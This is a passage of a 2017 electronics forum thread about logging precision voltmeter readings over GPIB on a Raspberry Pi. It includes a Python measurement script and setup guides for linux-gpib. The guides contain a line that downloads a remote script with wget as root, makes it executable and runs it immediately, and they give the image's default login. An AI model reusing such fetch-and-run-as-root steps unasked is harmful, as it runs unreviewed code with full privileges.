Vinst_4808.write("O1=") # commands the 4808 output state ONtime.sleep(5)inst_3458A.write("TARM SGL,1")time.sleep(20)# While loop to step through 25 measurements to get an averagewhile measurementCounter < numberOfMeasurements:inst_3458A.write("TARM SGL,1") # commands the 3458A to trigger a measurementdata = inst_3458A.read()currentMeasurement = float(data) # Reads the measurement via GPIB and stores the value into currentMeasurementrunningTotal += currentMeasurement # Adds measurement to running totalmeasurementCounter += 1 # increments the measurement countertime.sleep(5)inst_4808.write("O0=") # commands the 4808 output state OFFmeasurementAvg = runningTotal/numberOfMeasurements # calculates the average of the 25 measurementsppm = ((measurementAvg / dcv_10V_FullRange)-1)*1E6 # calculates the ppm deviation from input# Opens LogFile and writes a row of datawith open(LogFile, 'a') as MeterLog:MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 10 V Range : Nominal = %.10f Volts" %dcv_10V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))MeterLog.close()measurementAvg = 0runningTotal = 0ppm = 0# 100 V rangeelif rangeCounter == 3:measurementCounter = 0 # sets measurement counter to 0rangeCounter += 1 # increments the range counterinst_3458A.write("range 100") # commands the 3458A to 100 V rangeinst_4808.write("R7=") # commands the 4808 to 100 V Rangeinst_4808.write("M100=") # commands the 4808 to a value of 100 Vinst_4808.write("O1=") # commands the 4808 output state ONtime.sleep(5)inst_3458A.write("TARM SGL,1")time.sleep(30)# While loop to step through 25 measurements to get an averagewhile measurementCounter < numberOfMeasurements:inst_3458A.write("TARM SGL,1") # commands the 3458A to trigger a measurementdata = inst_3458A.read()currentMeasurement = float(data) # Reads the measurement via GPIB and stores the value into currentMeasurementrunningTotal += currentMeasurement # Adds measurement to running totalmeasurementCounter += 1 # increments the measurement countertime.sleep(5)inst_4808.write("O0=") # commands the 4808 output state OFFmeasurementAvg = runningTotal/numberOfMeasurements # calculates the average of the 25 measurementsppm = ((measurementAvg / dcv_100V_FullRange)-1)*1E6 # calculates the ppm deviation from input# Opens LogFile and writes a row of datawith open(LogFile, 'a') as MeterLog:MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 V Range : Nominal = %.10f Volts" %dcv_100V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))MeterLog.close()measurementAvg = 0runningTotal = 0ppm = 0# 1000 V rangeelif rangeCounter == 4:measurementCounter = 0 # sets measurement counter to 0rangeCounter += 1 # increments the range counterinst_3458A.write("range 1000") # commands the 3458A to 1000 V rangeinst_4808.write("R8=") # commands the 4808 to 1000 V Rangeinst_4808.write("M1000=") # commands the 4808 to a value of 1000 Vinst_4808.write("O1=") # commands the 4808 output state ONtime.sleep(10)inst_3458A.write("TARM SGL,1")time.sleep(30)# While loop to step through 25 measurements to get an averagewhile measurementCounter < numberOfMeasurements:inst_3458A.write("TARM SGL,1") # commands the 3458A to trigger a measurementdata = inst_3458A.read()currentMeasurement = float(data) # Reads the measurement via GPIB and stores the value into currentMeasurementrunningTotal += currentMeasurement # Adds measurement to running totalmeasurementCounter += 1 # increments the measurement countertime.sleep(5)inst_4808.write("O0=") # commands the 4808 output state OFFmeasurementAvg = runningTotal/numberOfMeasurements # calculates the average of the 25 measurementsppm = ((measurementAvg / dcv_1000V_FullRange)-1)*1E6 # calculates the ppm deviation from input# Opens LogFile and writes a row of datawith open(LogFile, 'a') as MeterLog:MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1000 V Range : Nominal = %.10f Volts" %dcv_1000V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))MeterLog.close()measurementAvg = 0runningTotal = 0ppm = 0# Opens LogFile and generates end of report statementwith open(LogFile, 'a') as MeterLog:MeterLog.write("End of Report! The time is : " + time.strftime("%d/%m/%Y-%H:%M:%S,\n"))MeterLog.close()

author: TiN
author_rank: Super Contributor
timestamp: January 09, 2017, 10:16:39 am
content: I'd add two more steps1. To null zero offset with short before going thru reading.2. To run ACAL on 3458A prior to any measurements.

author: TheSteve
author_rank: Unknown
timestamp: January 11, 2017, 08:59:58 pm
content: As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.The login is the usual pi/raspberryI have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

author: plesa
author_rank: Frequent Contributor
timestamp: January 11, 2017, 10:09:01 pm
content: Thanks Steve for image. This week I should receive RPi 1 B+ for test.In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.But this kernel works OK with E5810.Arduino GPIB adapter assembled and it seems to be similar to Prologix 6.0. Used Arduino Nano.3D printed enclosurehttp://www.thingiverse.com/thing:993349Also started work on PID temperature controller program for easy tempco measurement. I select E3632A power supply with H bridge from Pololu and 15V/4A TEC module.H bridge is used for changing polarity by PSU relay signal available on RS232 output ( internal jumpers needs to be placed ) it is possible to control over GPIB.Current version of algorithm has few issue, so it needs some fine tuning.During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

author: plesa
author_rank: Frequent Contributor
timestamp: January 12, 2017, 09:04:11 am
content: Quote from: TheSteve on January 11, 2017, 08:59:58 pmImage is 16GB and will probably not fit to majority of 16GB cards, For testing you needs +16GB SD card.

author: dr.diesel
author_rank: Super Contributor
timestamp: January 12, 2017, 07:28:17 pm
content: Quote from: plesa on January 11, 2017, 10:09:01 pmSo this is a kernel issue and not linux-gpib? Reverting a kernel patch might be an easy solution if we knew more.

author: bingo600
author_rank: Super Contributor
timestamp: January 12, 2017, 09:29:02 pm
content: Quote from: plesa on January 11, 2017, 10:09:01 pmWhere did you get the GPIB connectors for ribbon , what did they cost ?/Bingo

author: bingo600
author_rank: Super Contributor
timestamp: January 12, 2017, 09:38:42 pm
content: Maybe we should switch to Odroid for the logging platform.The C2 beats the Rpi3 by lengths in speed and has 2G ram & 1Gb ether throughput both ways, and the C1 is also a nice buyC1http://www.pollin.de/shop/dt/OTg1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C1_Einplatinen_Computer_1_5_GHz_QuadCore_4x_USB_1_GB.htmlC2http://www.pollin.de/shop/dt/ODA1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C2_Einplatinen_Computer_1_5_GHz_QuadCore_2_GB_RAM_4x_USB.htmlI used to think that the sw support & new kernels for the Rpi platform was the strength of it, the USB-bound IO certainly isn't.But now the bad kernel stuff seems to be the weakness.The Odroid is super performing HW , beats a Rpi any day.But they lag behind in kernelstuff, as AMLOGIC seems slow to port to the newer kernel 4Well Rpi is prob the most widespread platform, but the Odroid C2 just kicks A..It might also have the widest set of installable packages, though i have never missed a package on my Ordoids.I have both C1 & C2 , and might see if i can test linux-gpib w. Agilent-USB-GPIB , in a few weeks.I have the choice of Ubuntu (Official supported by Hardkernel) or Debian (Community supported) and usually my choice./Bingo

author: Assafl
author_rank: Frequent Contributor
timestamp: January 12, 2017, 11:26:44 pm
content: Quote from: TheSteve on January 11, 2017, 08:59:58 pmTried on rpi2 - it won't boot. Stuck in the colorful box display.

author: bingo600
author_rank: Super Contributor
timestamp: January 13, 2017, 01:32:39 pm
content: Quote from: Assafl on January 12, 2017, 11:26:44 pmI'm quite sure the v1 and v2 are NOT kernel compatible./Bingo

author: Assafl
author_rank: Frequent Contributor
timestamp: January 15, 2017, 10:28:37 am
content: Quote from: bingo600 on January 13, 2017, 01:32:39 pmDuhJust reread TheSteve's post and saw it was v1...

author: z01z
author_rank: Regular Contributor
timestamp: January 15, 2017, 10:39:11 am
content: While looking for python GPIB examples, I came acrossPyMeasure.It has a neat concept of having different classes for different equipments.

author: BFX
author_rank: Frequent Contributor
timestamp: January 15, 2017, 02:32:50 pm
content: Quote from: TheSteve on January 11, 2017, 08:59:58 pmI haven't good newsI used image on my RPi 1 (2011) it's starts OK, but on Agilent 82357B only lights up all 3 leds for a while and after that only red lights. After one second the same.Unplug and plug adapter back didn't help. (I tried it more times also to different usb ports)lsub doesn't show Agilent 82357B in the list.

author: TiN
author_rank: Super Contributor
timestamp: January 15, 2017, 02:35:32 pm
content: Meow.QuoteBingo600 hinted me thatlinux-gpibgot updated to SVN R1654, which has fix in DMA buffers for Agilent 82357B's on linux kernels 4.x.x.I hasted to try on plesa's Lognut image, but it didn't work.So I reformatted SD card and wrote fresh Raspbian + Pixel from RPI site.Installed usual things, couldn't get linux-gpib to install properly in first place (could not find modules), but after bit of poking withrpi-sourcepython script and few reboots I finally got linux-gpib to install and gpib_config to work.Credits to Dave Penkler and might of open-source software. Thanks!BFXTry beefier PSU. I had similar issues before with 4.9V PSU 500mA. After bumping power to 5.1V 1A - all good

author: bingo600
author_rank: Super Contributor
timestamp: January 15, 2017, 04:21:18 pm
content: I haven't got time today, for testing the new linux-gpib release.But i plan to test on a v1 @kernel 4.4.38 (latest raspbian foundation).And on a v3 @kernel 4.4.0-1-rpi2(latest raspbian.org) -raspbian.org is my favorite and "Debian compliant kernel", w. "apt-get header support"I already have the raspbian.org kernel runing on a v3 wo. problems, just need to build & test the latest linux-gpib.I even think we should switch to that one for the "platform"/Bingo

author: bingo600
author_rank: Super Contributor
timestamp: January 15, 2017, 04:37:31 pm
content: @TiNMy latest kernel on a v1 is 4.4.38+ , your's is a lower vers.Could it be that you didn't apt-get dist-upgrade , and that might cause the header probs. you had ??To swith to a raspbian.org kernel , just install the latest standard image , and do this.https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1096058/#msg1096058/Bingo

author: TheSteve
author_rank: Unknown
timestamp: January 15, 2017, 08:11:16 pm
content: Quote from: BFX on January 15, 2017, 02:32:50 pmAs was already mentioned what is your power supply? I am using a high quality 5 volt supply rated for 1.5 amps(which it really can do) and it is connected to the internal headers, I am not using the micro usb jack.

author: BFX
author_rank: Frequent Contributor
timestamp: January 15, 2017, 10:44:40 pm
content: Quote from: TheSteve on January 15, 2017, 08:11:16 pmI didn't measure this power supply but it's rated for 2.1Ahttps://www.hej.sk/nabijacka-do-siete-emos-usbee-home-d4/Tomorrow I will try one of my big HP beast and we will see.

author: Assafl
author_rank: Frequent Contributor
timestamp: January 16, 2017, 12:33:04 pm
content: Quote from: TiN on January 15, 2017, 02:35:32 pmGood News!After a fussy linux festival 4.4.38-v7+ works with R1654 on RPi 3.Note that (as per TiN's comment) I had to run rpi-source.py prior to running ./configure, make and make install.I can now use ibtest to communicate with the 34401A without a problem. Time for some Python.Thank you to TiN and Bingo and plesa and all involved in this project.

author: bingo600
author_rank: Super Contributor
timestamp: January 16, 2017, 02:11:48 pm
content: I have just tested linux-gpib (SVN) on a Raspi v3 running the raspbian.org kernel (Debian compliant)QuoteAnd it was a successThank you for the support Dave Penkler- OpenSource is really showing it's worth.Agilent GPIB Adapter:QuoteBeiming Adapter:QuoteThe new udev "magic" for the The Agilent is doing all the init stuff including loading the firmware & running gpib_config.I wasn't 100% sure if it ran the gpib_config for the Beiming too, as the Beiming identifies w. the final VID/PID on upstart, and doesn't need a firmware load.So i ran gpib_config manually ,once for the Beiming.Next to test on a Raspi v1/Bingo

author: bingo600
author_rank: Super Contributor
timestamp: January 16, 2017, 02:58:10 pm
content: Testing latest SVN on a Raspi v1Running the latest "foundation kernel"QuoteSuccessAgilent :QuoteBeiming:Quote/Bingo

author: Assafl
author_rank: Frequent Contributor
timestamp: January 19, 2017, 09:01:46 am
content: I am using the scripts from the plesa's RPI Voltnut GitHub (awesome work!) and didn't want to cause too much wear on the SD card. So I added a rather obvious counter to the script.The delayed write works by counting the number of measurements (up to variable sd_buffer) - and then closes the files to commit the measurements to SD. A console notice for the SD card commit is displayed so that one can stop logging after a write - otherwise I found I had to look at the time stamp of the log file and keep refreshing... especially if you hold on for long between commits to disk.It looks like this:().Setting up the interval and duration is done in the declarations above the code:LogDir = '/pub/logs/'LogFile = LogDir + 'BME280_Log.csv'sd_buffer = 10 # How many measurements to commit to SD card (to limit writes)interval = 2 # interval (seconds) between measurementsOf course a better approach would have been to hold off writing until the SD card can write an entire block, or a buffer fills up, etc.Edit - added similar functionality to 34401A script (plus support for 1 or 2 BME280 sensors).

author: jrz126
author_rank: Newbie
timestamp: January 19, 2017, 03:16:29 pm
content: So whats the procedure for getting a PI V3 up and running with a NI USB-GPIB?I have one of these powersupplies:Only interface is through GPIB, or a $500 keyboard which i dont have. Looking to make my own controller for it through GPIB.Been screwing with this for a couple weeks off and on.First followed the steps here:https://xdevs.com/guide/ni_gpib_rpi/Got it to talk and whatnot, but I would get a segfault while trying to run ibtest. Figured it was because i was using a V3 Pi and not a V1.Found this thread. Tried following the steps in reply 34. But I get this error when i try to install the linux-gpib.root@raspberrypi:/opt/linux-gpib# sudo ./configurechecking for a BSD-compatible install... /usr/bin/install -cchecking whether build environment is sane... yeschecking for a thread-safe mkdir -p... /bin/mkdir -pchecking for gawk... nochecking for mawk... mawkchecking whether make sets $(MAKE)... yeschecking whether make supports nested variables... yeschecking whether to enable maintainer-specific portions of Makefiles... nochecking for util/.scm_version.tmp... yeschecking build system type... armv7l-unknown-linux-gnueabihfchecking host system type... armv7l-unknown-linux-gnueabihfchecking Linux kernel directory... configure: WARNING: Linux kernel directory /lib/modules/4.4.38-v7+/build/ does not exist. Specify using --with-linux-srcdir=DIR.configure: WARNING: Kernel source tree at /lib/modules/4.4.38-v7+/build/ is not configured. Copy theappropriate configuration file to /lib/modules/4.4.38-v7+/build//.config and then run 'make oldconfig'in the kernel source directory.okchecking Linux kernel compile flags... make: *** /lib/modules/4.4.38-v7+/build/: No such file or directory. Stop.configure: WARNING: Failed to get compile flags from Linux kernel directory.okchecking for gcc... gccAnyone else run into this issue?

author: Assafl
author_rank: Frequent Contributor
timestamp: January 19, 2017, 03:45:37 pm
content: Did you install the headers and after run rpi-source?I had similar issues until I ran rpi-source.See a few pages back (run as sudo):https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1075495/#msg1075495

author: jrz126
author_rank: Newbie
timestamp: January 19, 2017, 04:05:22 pm
content: Yes. those are the steps i was following. Did you have to modify anything extra?Attached the console log from installing the rpi-source.

author: plesa
author_rank: Frequent Contributor
timestamp: January 19, 2017, 04:24:53 pm
content: Quote from: jrz126 on January 19, 2017, 03:16:29 pmYou do not have kernel header or kernel source availblePerformsudo apt-get updatesudo apt-get upgradesudo apt-get raspberrypi-kernel raspberrypi-kernel-headersAnd try to reinstall linux-gpibIf it will not work post kernel version.In general if you are using iiferent kernels shoulb be enoughsudo wgethttps://raw.githubusercontent.com/notro/rpi-source/master/rpi-source-O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-updatesudo rpi-sourcesudo rebootthis will download and link kernel sources but reguire more space.Also I can confirm that the 82357B adapter is now running with 4.4.38 and also with more recent 4.4.x.Thanks Bingo600 and Dave.

author: mimmus78
author_rank: Unknown
timestamp: January 23, 2017, 08:15:53 pm
content: Just a silly question. I know 99,99% the response is yes but worth checking ...With this NI USB-GPIB (or any of this GPIB2USB adaptor) is it possible to have multiple scripts running on different instruments at the same time (on the same raspberry)?Actually with my ancient "NI-ENET" adaptor I'm running a 10V data logging script on my 3458a for my LTZ1000 reference and another script for TC of resistor using a K2001 and a Siglent Power supply via USBTMC.Two scripts and three instruments ... yes it's really a mess but this things takes forever so it's worth doing in parallel to get forever/2.

author: plesa
author_rank: Frequent Contributor
timestamp: January 23, 2017, 09:24:06 pm
content: Quote from: mimmus78 on January 23, 2017, 08:15:53 pmYes, there is almost no limitations, of course do no try to control same instruments from two scripts.I was using 3458A, 3457A,K2001M, 34401A,34420A, 34410A,34411A and E3631A on NI-GPIB HS adater and simutaneously L4411A over USBTMC. Each instrument has own logging and some of them were also logging the temperature from 2x BME280.What was only problem was stability of kernels. The best seems to be official RPI foundation 4.4.38 running on RPI2/3.Also try to keep at least half of instruments connected on GPIB powered on.Recommended for GPIB bus.

author: mimmus78
author_rank: Unknown
timestamp: January 23, 2017, 10:36:20 pm
content: "fortunately" I'm using this NI GPIB-ENET adapter. Raspberry connect to GPIB adapter by Ethernet and everything is rock stable.Unfortunately there is not kernel support for this adapter. So is usable only in Python with some library someone wrote for this adapter that connects directly via socket.Everything comes with pro and cons ...Inviato dal mio Nexus 6P utilizzando Tapatalk

author: plesa
author_rank: Frequent Contributor
timestamp: January 23, 2017, 11:18:44 pm
content: Quote from: mimmus78 on January 23, 2017, 10:36:20 pmThe Ethernet adapters are supported, tested with E5810.Support is writen by Alex ( member here)http://alexforencich.com/wiki/en/python-vxi11/startIn scripts replaceCode:import Gpibinst = Gpib.Gpib(0,22)byCode:import vxi11inst = vxi11.Instrument("192.168.0.27", "gpib0,22")

author: mimmus78
author_rank: Unknown
timestamp: January 24, 2017, 12:01:28 am
content: I have to check again but I don't think this adapter support any standard protocol.Even NI software has dropped support for it long time ago. ENET 100 (the one I have is 10 Mbits) and this Agilent are another story.Inviato dal mio Nexus 6P utilizzando Tapatalk

author: TiN
author_rank: Super Contributor
timestamp: January 24, 2017, 04:06:26 am
content: QuoteYes, talking to multiple instruments over same GPIB dongle using linux-gpib is possible, I had runs when two python apps interfacing different instruments. But I prefer not to do that, as if error or timeout occur on one of transfers, the other one likely to fail as well, as GPIB dongle still processes requests serially.

author: mimmus78
author_rank: Unknown
timestamp: January 25, 2017, 11:36:48 pm
content: TIN: Ohh that's bad but still better than nothing. Are you sure of this?I have to check mine if this happens ... any idea how to reproduce this problem?

author: TiN
author_rank: Super Contributor
timestamp: January 26, 2017, 04:26:32 am
content: Easy.Connect two instruments on let's say GPIB 7 and GPIB 8. Run two snakes to read something in loop from either instrument. Then turnoff one instrument and watch if remaining one+it's snake still alive

author: Assafl
author_rank: Frequent Contributor
timestamp: January 28, 2017, 04:14:34 pm
content: Does anyone here use the free Mathematica and Wolfram Language package supplied with Raspbian to analyze and present the measurements?I ask because it looks like a pretty capable package (albeit obtuse - I am used to Matlab).

author: dr.diesel
author_rank: Super Contributor
timestamp: January 28, 2017, 06:03:34 pm
content: In-case this helps others.I just received an E5810 LAN/GPIB Gateway and ran into an issue with the 3458A python script, was always receiving a timeout error, that I wasn't running into with the Agilent 82357B dongle.For whatever reason the 3458A won't respond to read/query commands until END ALWAYS is sent. Only need to send it once and your set (till you power cycle or reset), so I just modified the script with the below as the first command sent to the instrument and life is good.inst.write("END ALWAYS")The E5810 sure makes my life/programming easier, should have bought one eons ago!

author: bingo600
author_rank: Super Contributor
timestamp: January 28, 2017, 06:15:49 pm
content: Quote from: dr.diesel on January 28, 2017, 06:03:34 pmStrange that you didn't encounter problems w. the other adapter.The : END ALWAYS is a known MUST on the 3457 & 3458/BingoPS: Thanx for the feedback

author: dr.diesel
author_rank: Super Contributor
timestamp: January 28, 2017, 06:27:59 pm
content: Quote from: bingo600 on January 28, 2017, 06:15:49 pmFurther thinking, I think I set the gpib timeout to 30s, since END ALWAYS is further down the script it was probably coming around before the timeout. Since the instrument is powered 24-7 and END ALWAYS was already enabled I never noticed the delay on subsequent data runs.

author: guenthert
author_rank: Frequent Contributor
timestamp: January 31, 2017, 06:56:43 am
content: Quote from: TiN on January 26, 2017, 04:26:32 amIf it is not, then that might be actually an electrical, rather than software issue. iirc, if multiple instruments are on the same bus, the majority on them ought to be on to ensure proper signaling.

author: dr.diesel
author_rank: Super Contributor
timestamp: February 02, 2017, 06:13:20 pm
content: Second 3458 refurbed, up and running. Waiting on a 2000-Scan card for my 2010 which will be dedicated to logging board temps.Gotta get working on a temp chamber next.

author: bingo600
author_rank: Super Contributor
timestamp: February 04, 2017, 12:53:54 pm
content: @dr.dWell done ...I ought to try my Agilent LAN->GPIB adapter out.Are you using the Raspi w. the voltnut image ?This thread (image devel) seems to have come to a standstill for now./Bingo

author: dr.diesel
author_rank: Super Contributor
timestamp: February 04, 2017, 01:06:53 pm
content: Quote from: bingo600 on February 04, 2017, 12:53:54 pmI was initially, but since the E5810 I moved it to a VM, it was just easier for me.I'd love to see the image expanded on the web logging/graphing/trending side, but that is not my particular strong suit. A standard here might be nice for those active in the T.C./LTZ arena.Frank's branch is active and has more "stuff"https://github.com/FrankBuss/RPi_LogNut

author: Bud
author_rank: Super Contributor
timestamp: February 05, 2017, 02:32:05 am
content: Sorry folks I am lost... Is am image available for download for Pi3 ?Does it support Agilent 82357B clone?

author: bingo600
author_rank: Super Contributor
timestamp: February 05, 2017, 07:42:47 am
content: Quote from: Bud on February 05, 2017, 02:32:05 amThe issue w. the Agilent 82357B ( and clones) is solved , by the linux-gpib maintainer Dave Penkler.I'm not sure if the downloadable image for the Pi3 has been updated w. the latest SVN version of linux-gpib , that contains the fix.But it would be quite easy to download the Old Pi3 image and do the linux-gpib update your self./Bingoeevblog IRCI'm sometimes joining the eevblog channel on irc , and might be able to help "online" , i'm using:irc.afternet.org#eevblog

author: TheSteve
author_rank: Unknown
timestamp: February 05, 2017, 07:53:50 am
content: I upgraded to a pi3 a week ago, followed TiN's howto to get gpib up and running and it is working fine with the 82357B.This is just a basic image though - no builtin graphing or web server etc which would be very nice to have.

author: TiN
author_rank: Super Contributor
timestamp: February 05, 2017, 08:23:24 am
content: Image for Pi2/Pi3 is available here:https://doc.xdevs.com/doc/_Images_RPI-DL/.One currently there is based on older linux-gpib, but have basic scripts and webserver with graph-logs.Tested to be working fine with NI GPIB-USB-HS and different instruments.If you want to use 83257B, can reference tomy updated guideto update latest linux-gpib.

author: Bud
author_rank: Super Contributor
timestamp: February 07, 2017, 03:05:43 am
content: Is any other download source? The link is _very_ slow....

author: TheSteve
author_rank: Unknown
timestamp: February 07, 2017, 03:40:11 am
content: Took 4 hours for me to grab it. I had a go at updating it to the newest linux-gpib but had no luck, communication was still broken. Not sure why.

author: Bud
author_rank: Super Contributor
timestamp: February 07, 2017, 03:45:47 am
content: Quote from: TheSteve on February 07, 2017, 03:40:11 amThanks for confirming. My download showed 7 hours ( cancelled it). This makes the OP effort useless, unless the image is uploaded elsewhere.

author: TheSteve
author_rank: Unknown
timestamp: February 07, 2017, 05:24:04 am
content: The download speed varied quite a bit - it said it would be 2 hours when it started, then went to 7 hours but was a little quicker in the end. Not a huge deal to start it before bed - it should be ready by morning.

author: bingo600
author_rank: Super Contributor
timestamp: February 07, 2017, 08:06:02 pm
content: I'll give it a go tooEdit: I got the image in 61 minutes/Bingo

author: z01z
author_rank: Regular Contributor
timestamp: February 07, 2017, 08:15:16 pm
content: Didn't work for me either. It looked like the new linux-gpib wasn't installed (after a make uninstall), at least the debug printouts from the previous install were still there.With a clean install it works fine though.

author: Dwaine
author_rank: Frequent Contributor
timestamp: February 07, 2017, 09:48:39 pm
content: I have my Keysight U1272a with dual display python script finished. Basically it displays the primary display with the secondary display. I also started a script for the Siglent function generator, mostly for the frequency counter graphing.I'll do a pull request to GIT when I'm finished.

author: bingo600
author_rank: Super Contributor
timestamp: February 08, 2017, 05:51:53 pm
content: Quote from: TheSteve on February 07, 2017, 03:40:11 am@Steve et allI just installed the Plesa VoltNut image on my Rpi3.And upgraded to the latest linux-gpib.I made a tiny how2:Note:When pasting the url's from the guide be sure to remove theurltags , that i can't seem to get rid off inside a code block.Code:PC-----Get image from TiN here : https://doc.xdevs.com/doc/_Images_RPI-DL/--------------------------wget -c https://doc.xdevs.com/doc/_Images_RPI-DL/RPi_LogNut_v2.zipWrite image to SD card------------------------dd bs=4M if=RPi_LogNut_v2 of=/dev/sdx - replace /dev/sdx to fit your mount pointIf you use a SD card larger than 8G , maybe resize to use all - See:----------------------------------------------------------------------http://elinux.org/RPi_Resize_Flash_Partitions#Manually_resizing_the_SD_card_using_a_GUI_with_GParted*** Note ***https://en.wikipedia.org/wiki/F2FSPlesa has apparently chosen f2fs as the file system - should be a fs made for flashThat makes it very difficult to resize the filesystem to ie. 32GB (size of my SD card)Raspi---------Mount card in Raspi , and boot.Login to Raspi (ssh) - user: pi , pass: raspberryUpdate OS--------------sudo apt-get updatesudo apt-get upgradeAdapt hostname---------------sudo nano /etc/hostnamereboot---------sudo reboot nowUpdate firmware------------------sudo rpi-updatereboot---------sudo reboot nowCleanup old kernel headers to make room for the new ones.----------------------------------------------------------You probably want to delete everything starting with linux in the /root directoryUpdate kernel headers to newly installed kernel------------------------------------------------sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-updateGet the new headers fot the running kernel--------------------------------------------sudo rpi-source** Watch out for this one ** - You prob. forgot to make room for the new headers above.ERROR:Not enough diskspace (900MB) on /rootSkip this check with --skip-spacereboot---------sudo reboot nowBuild latest linux-gpib--------------------------cd /optsudo rm -fR linux-gpibsudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ linux-gpibcd linux-gpibsudo ./bootstrapsudo ./configuresudo makesudo make installMake the agilent module load automatically on boot----------------------------------------------------sudo sed -i -e "\$aagilent_82357a" /etc/modulesreboot---------sudo reboot nowNow you have the latest linux-gpib on the voltnut imageCheck the new module is loadedpi@raspi4:~ $ lsmodModule Size Used bybnep 10340 2bluetooth 326105 5 bnepbrcmfmac 186403 0brcmutil 5661 1 brcmfmacsnd_bcm2835 20447 1cfg80211 428871 1 brcmfmacsnd_pcm 75762 1 snd_bcm2835snd_timer 19288 1 snd_pcmrfkill 16037 4 cfg80211,bluetoothsnd 51908 5 snd_bcm2835,snd_timer,snd_pcmi2c_bcm2708 4834 0bcm2835_wdt 3225 0bcm2835_gpiomem 3040 0uio_pdrv_genirq 3164 0uio 8000 1 uio_pdrv_genirqagilent_82357a 18276 0 <---------------------- **** Heregpib_common 31540 1 agilent_82357a <---- **** Herei2c_dev 5859 0fuse 84037 3ipv6 347556 52If the module is NOT present , something went wrong with the linux-gpib build/installProbably wrong kernel-headers , you might have installed a new version of linux.And have NOT done a : sudo rpi-sourceCheck the installed linux-gpib version with :----------------------------------------------$ gpib_config -vlinux-gpib version = 4.0.3 /BingoI will not use this image , as just using 8GB out of my 32GB card is not acceptable.And resize.f2fs apparently is NOT in the current Raspi version of : f2fs-tools.$ sudo apt-cache policy f2fs-toolsf2fs-tools:Installed: 1.4.0-2Candidate: 1.4.0-2It seems to be in f2fs-tools_1.7.0-1.1I hope that Plesa will make an ext4 version tooOhh: I haven't tested with an Agilent/Beiming gpib adapter yet , but as the module loads - It should work/BingoMake sure to see Steve's additons herehttps://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1133932/#msg1133932

author: TheSteve
author_rank: Unknown
timestamp: February 08, 2017, 06:08:47 pm
content: I'll give it a try. When I upgraded the Linux gpib it also loaded fine but gave an error when I tried to communicate.

author: bingo600
author_rank: Super Contributor
timestamp: February 08, 2017, 07:26:31 pm
content: Quote from: TheSteve on February 08, 2017, 06:08:47 pmIt seemed like the agilent_82357a wasn't in /etc/modulesThis means you'd have to do a manual : sudo modprobe agilent_82357aElse i doubt the module would be loaded at all/Bingo

author: TheSteve
author_rank: Unknown
timestamp: February 08, 2017, 08:34:23 pm
content: The module was loading fine, firmware automatically uploaded etc. Running ibtest even found the the controller but it would fail when trying to actually send data to a device.

author: Assafl
author_rank: Frequent Contributor
timestamp: February 08, 2017, 08:35:57 pm
content: Quote from: TheSteve on February 08, 2017, 06:08:47 pmHad to disconnect and reconnect the 82357 from USB (after the version update) to get it to not time out after the update (otherwise got the 14 timeout error).@Bingo Kudos - Your update instructions work beautifully.

author: bingo600
author_rank: Super Contributor
timestamp: February 08, 2017, 08:57:09 pm
content: Quote from: Assafl on February 08, 2017, 08:35:57 pmGreatThank you for the feedbackOhh: remember the linux-gpib modules are kernel dependant.Whenever you get/install a new kernel , you need to :reboot---------sudo reboot nowCleanup old kernel headers to make room for the new ones.----------------------------------------------------------You probably want to delete everything starting with linux in the /root directoryGet the new headers fot the running kernel--------------------------------------------sudo rpi-sourceBuild latest linux-gpib--------------------------cd /optsudo rm -fR linux-gpibsudo svn checkouthttp://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/linux-gpibcd linux-gpibsudo ./bootstrapsudo ./configuresudo makesudo make install/Bingo

author: bingo600
author_rank: Super Contributor
timestamp: February 08, 2017, 09:18:27 pm
content: Quote from: TheSteve on February 08, 2017, 08:34:23 pmBut would it load the module after a reboot ??/Bingo

author: Assafl
author_rank: Frequent Contributor
timestamp: February 09, 2017, 07:24:16 am
content: I don't know if this is OT or OT (BTW - is there a different shorthand for On topic as for Off topic?) - As it may be an HP34401A issue only - and a beginner sort of issue at that....I was trying to use the RPi to do long term measuring but kept getting different results from the Keysight (Agilent) tools, and from what I was getting on the display. On the display I was stable to within +-1uV@1V range (short term, of course, longer term I get some drift) while on the RPI I was getting fluctuations of many PPM (up to say +-3uV or even more, same range). Also, readings came in faster. My original suspicion was NPLC, which turned out to be a false suspect...Well, I ended up writing a short script that dumped all the settings. The one that turned out to cause this was the [SENSe:]ZERO:AUTO. When used from the front panel, the DMM zeroes itself between readings (hence the slow update rate). However, sending a ZERO:AUTO? returned a '0' (Off) when measuring using the RPi. So the DMM was not zeroing itself (hence the update rate was double).Adding the line ZERO:AUTO ON fixed this issue and stabilized the measurement.Hope this helps someone out there.

author: TheSteve
